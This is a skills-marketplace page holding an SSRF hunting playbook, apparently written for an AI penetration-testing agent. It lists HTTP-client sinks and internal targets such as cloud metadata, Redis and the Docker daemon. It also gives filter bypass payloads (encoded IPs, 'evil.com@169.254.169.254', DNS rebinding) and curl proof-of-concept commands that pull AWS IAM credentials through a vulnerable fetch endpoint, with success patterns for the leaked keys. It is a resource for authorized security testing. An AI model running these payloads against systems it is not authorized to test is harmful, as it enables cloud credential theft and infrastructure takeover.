ssrf

star 4.4k

Hunt Server-Side Request Forgery (CWE-918) through taint analysis from user-controlled URLs to HTTP client sinks. Covers cloud metadata pivoting, DNS rebinding, gopher smuggling, and the IMDSv1 → IAM role chain that turns SSRF into RCE.

PurpleAILAB By PurpleAILAB schedule Updated 6/2/2026

name: ssrf description: Hunt Server-Side Request Forgery (CWE-918) through taint analysis from user-controlled URLs to HTTP client sinks. Covers cloud metadata pivoting, DNS rebinding, gopher smuggling, and the IMDSv1 → IAM role chain that turns SSRF into RCE. metadata: subdomain: web-exploitation when_to_use: "ssrf server side request forgery cwe-918 taint url http client cloud metadata imds dns rebinding gopher smuggling iam role"

SSRF Hunting Playbook

SSRF is one of the highest-yield vuln classes for 0-day work because (a) it's often medium severity in isolation but chains to critical when it reaches cloud metadata, internal admin panels, or unprotected Redis/Elasticsearch, and (b) modern frameworks have dozens of bypass classes that scanners miss.

1. Sources (user-controlled input that becomes a URL)

Look for any parameter that gets fed into an HTTP client:

  • Python: requests.get(user_url), httpx.get, urllib.request.urlopen, aiohttp.get
  • Node: fetch(userUrl), axios.get, http.request, got, node-fetch
  • Java: HttpURLConnection, HttpClient.send, URL.openConnection, OkHttpClient
  • Go: http.Get(u), http.NewRequest, net.Dial("tcp", u)
  • Ruby: Net::HTTP.get, URI.open, Faraday.get
  • PHP: file_get_contents($url), curl_exec, fsockopen

Grep patterns to run via bash:

semgrep --config p/ssrf /workspace/src --sarif -o /workspace/sem-ssrf.sarif
grep -rE 'requests\.get\(|httpx\.|urllib.*urlopen|fetch\(|axios\.|http\.Get\(|URL\(' /workspace/src

2. Sinks that make SSRF worth reporting

Sink Impact
http://169.254.169.254/ (AWS IMDS) IAM role creds → full AWS takeover
http://metadata.google.internal/ GCP service-account token
http://169.254.169.254/metadata/v1/ Azure IMDS
http://127.0.0.1:6379/ (Redis) Unauthenticated RCE via Lua eval / cron
http://127.0.0.1:9200/ Elasticsearch data leak + RCE
http://127.0.0.1:2375/ Docker daemon — container escape
gopher://, dict://, file:// Protocol smuggling (SMTP, memcached)
Internal *.svc.cluster.local Kubernetes service mesh lateral

3. Bypass classes (why scanners miss real bugs)

  1. DNS rebinding — resolve to public first, then 127.0.0.1 on second lookup. Look for caches that don't pin IP across the fetch.
  2. IPv6 literal[::1], [::ffff:127.0.0.1], [::]
  3. Decimal / octal / hex encoding0x7f.0.0.1, 0177.0.0.1, 2130706433
  4. URL parser confusionhttp://evil.com@169.254.169.254/, http://169.254.169.254#.evil.com/
  5. IDN unicode tricks — homoglyph domains that normalize to metadata hosts
  6. Redirect chains — allowlist checks the initial URL, not the 302 target
  7. IMDSv2 required — but if the HTTP client sets a Metadata-Token header on redirect, v2 still leaks
  8. 30x → file:// — server follows redirects across protocols

4. Taint audit workflow

  1. Enumerate sources with grep + semgrep (above).
  2. For each hit, follow the data flow manually:
    • Is there a urlparse check? Does it check .hostname (spoofable) or the raw URL (safe)?
    • Is there an IP allowlist check before or after DNS resolution? (Only before-resolution checks are TOCTOU-safe.)
    • Is redirect following disabled? allow_redirects=False in requests.
  3. Each confirmed source-to-sink path → kg_add_node(kind="vulnerability", ...).
  4. Link the vuln to its file+line via a code_location node.

5. PoC template

# AWS IMDSv1 leak — copy to clipboard after confirmation
curl -s "https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# → expect role name
curl -s "https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>"
# → expect {AccessKeyId, SecretAccessKey, Token}

Success patterns for validate_finding:

  • AccessKeyId
  • SecretAccessKey
  • Token.*[A-Za-z0-9+/]{100,}

Negative control:

  • Same request with the URL param blanked or set to https://example.com/
  • Negative patterns: Missing url, 400, example.com

6. Default CVSS for confirmed SSRF

Variant CVSS vector Score
Blind SSRF, external only AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 5.3
SSRF → internal services (no pivot) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 7.5
SSRF → cloud metadata → IAM credential AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H 10.0

7. Chain promotion

Once validated, add an enables edge from the SSRF vuln to the adjacent IAM credential / Redis host / admin panel node. Weight 0.3 for trivial IMDS chains, 0.6 for bypass-required variants. Then plan_attack_chains(promote=True) to persist the complete chain.

Install via CLI
npx skills add https://github.com/PurpleAILAB/Decepticon --skill ssrf
Repository Details
star Stars 4,393
call_split Forks 875
navigation Branch main
article Path SKILL.md
More from Creator